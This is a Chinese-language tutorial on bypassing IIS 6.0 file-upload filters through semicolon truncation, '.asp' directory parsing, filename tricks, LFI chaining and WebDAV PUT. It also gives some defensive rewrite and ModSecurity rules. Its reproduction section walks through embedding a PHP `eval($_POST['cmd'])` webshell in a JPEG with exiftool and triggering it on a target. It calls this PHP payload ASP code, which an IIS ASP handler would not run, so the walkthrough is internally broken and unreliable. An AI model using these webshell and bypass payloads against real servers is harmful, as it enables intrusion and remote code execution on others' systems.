IIS文件上传漏洞绕过：深入解析与高效防御

news2025/5/27 12:46:48

一、IIS解析漏洞的底层逻辑

二、绕过技巧：从基础到高级

1. 分号截断与路径拼接（经典手法）

2. 目录解析漏洞利用

3. 操作系统特性与字符混淆

4. 扩展名黑名单绕过

5. 结合其他漏洞的链式攻击

三、防御方案：从代码到架构的多层防护

1. 代码层加固

2. 服务器配置优化

3. 网络层防护

4. 监控与应急响应

四、实战复现：分阶段绕过防御

五、总结与思考

IIS（Internet Information Services）作为Windows Server的默认Web服务器，其历史版本（如IIS 6.0）因文件解析逻辑缺陷成为攻击者的重点目标。以下漏洞原理需重点关注：

分号截断漏洞
- 触发条件：当文件名包含分号（;）时，IIS 6.0会将分号前的部分作为真实扩展名解析，例如：
```
shell.asp;.jpg → 解析为ASP脚本
```
- 底层逻辑：IIS的解析模块（asp.dll）在处理请求时，会以分号作为分隔符截断文件名，仅保留前半部分。
目录解析漏洞
- 关键路径：若目录名以.asp、.asa等可执行后缀命名（如/upload.asp/），则该目录下的所有文件（包括静态文件）均会被IIS视为动态脚本执行。
- 扩展风险：攻击者可通过创建恶意目录（如/images/evil.asp/）将普通图片转为木马载体。
文件内容与扩展名解耦
- IIS在某些配置下会忽略文件内容，仅依赖扩展名决定解析方式。攻击者可上传伪装为图片的WebShell，绕过内容校验。

Payload构造：

filename="shell.asp;.jpg"  
访问路径：/uploads/shell.asp;.jpg → 执行ASP代码

实战要点：
- 使用Burp Suite拦截上传请求，修改filename字段，添加分号截断。
- 若服务器过滤分号，可尝试shell.asp:.jpg（利用NTFS文件流特性）。

攻击流程：
1. 创建目录/upload.asp/（需服务器允许目录创建）。
2. 上传文件至该目录，如/upload.asp/1.jpg，访问时触发ASP解析。
绕过限制：若无法创建目录，可尝试上传路径包含.asp的URL，如：
```
POST /upload.asp HTTP/1.1  # 直接上传至伪装的ASP路径
```

空格/点号截断：

shell.asp.    # Windows自动去除末尾点 → 保存为shell.asp
shell.asp     # 上传时添加空格 → shell.asp

Unicode编码绕过：

shell.asp%80.jpg  # 利用畸形Unicode字符干扰校验

文件包含+上传绕过：
1. 上传包含PHP代码的1.txt。
2. 利用本地文件包含（LFI）漏洞执行：
```
http://target.com/index.php?file=./uploads/1.txt
```
HTTP PUT方法利用：
若服务器开启WebDAV且配置不当，可直接通过PUT方法上传脚本文件：
```
PUT /uploads/shell.asp HTTP/1.1  
```

URL重写规则（web.config示例）：

<rule name="Block Dangerous Requests">
  <match url=".*\.(asp|php|asa)(;|%24|%00)" />
  <action type="AbortRequest" />
</rule>

WAF规则：拦截包含分号、%00、畸形路径的请求。

# 示例ModSecurity规则
SecRule REQUEST_FILENAME "@contains ;" "deny,log,status:403"

目标环境：IIS 6.0 + ASP黑名单校验 + 内容检测
绕过步骤：

生成免杀WebShell：
使用图片马工具（如ExifTool）将ASP代码插入JPEG文件的注释区：
```
exiftool -Comment="<?php @eval($_POST['cmd']); ?>" shell.jpg
```
分号截断绕过扩展名校验：
```
修改上传包文件名：shell.asp;.jpg
```
触发解析：
访问http://target.com/uploads/shell.asp;.jpg，绕过内容检测，执行ASP代码。